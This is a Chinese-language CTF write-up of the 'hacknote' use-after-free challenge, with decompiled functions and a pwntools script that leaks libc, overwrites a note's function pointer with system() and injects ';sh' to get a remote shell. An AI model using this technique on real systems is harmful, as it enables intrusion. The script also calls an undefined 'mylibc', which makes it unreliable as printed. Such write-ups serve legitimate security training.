标准的菜单模式
canary和NX保护
unsigned int sub_8048646()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u); //malloc 0x8 的chunk,叫note块
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B; //note[0]存放puts()函数的地址
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size); //malloc size 的chunk,叫content块
if ( !*((_DWORD *)*(&ptr + i) + 1) ) //note[1]存放content的地址
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size); //存放我们申请堆块的size
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1)); //释放note块
free(*(&ptr + v1)); //释放content块
puts("Success"); //两个chunk都没有被置NULL,存在UAF漏洞
}
return __readgsdword(0x14u) ^ v3;
}
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); //调用puts()函数
return __readgsdword(0x14u) ^ v3; //输出note块chunk存放地址的内容
}
泄露libc,调用system,执行bin/sh/,获取shell
print note可以打印泄露地址
传入该函数的参数是note结构体自身,无法直接传入字符串“\bin\sh”,
原来的note_puts(arg0)是对puts(arg0+4)的封装,而现在的system(arg0)中arg0并不指向字符串而指向system的地址,所以这里需要system参数截断,
system参数用";sh\x00"或者"||sh"截断
from pwn import *
context(arch='i386',os='linux',log_level='debug')
elf = ELF('./hacknoteuaf')
libc = ELF('./libc-2.23-32.so')
p = remote("node4.buuoj.cn",27486)
def add_note(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def del_note(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def print_note(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
add_note(64,"12")
add_note(32,"12")
del_note(0)
add_note(64,"45")
print_note(2)
libc_addr = u32(p.recv(8)[4:8]) - 0x1b07b0
sys_addr = libc_addr + mylibc.symbols['system']
# add_note(8,"12")
# add_note(8,"34")
# del_note(3)
# del_note(4)
del_note(0)
del_note(1)
add_note(8,p32(sys_addr)+";sh\x00")
print_note(0)
p.interactive()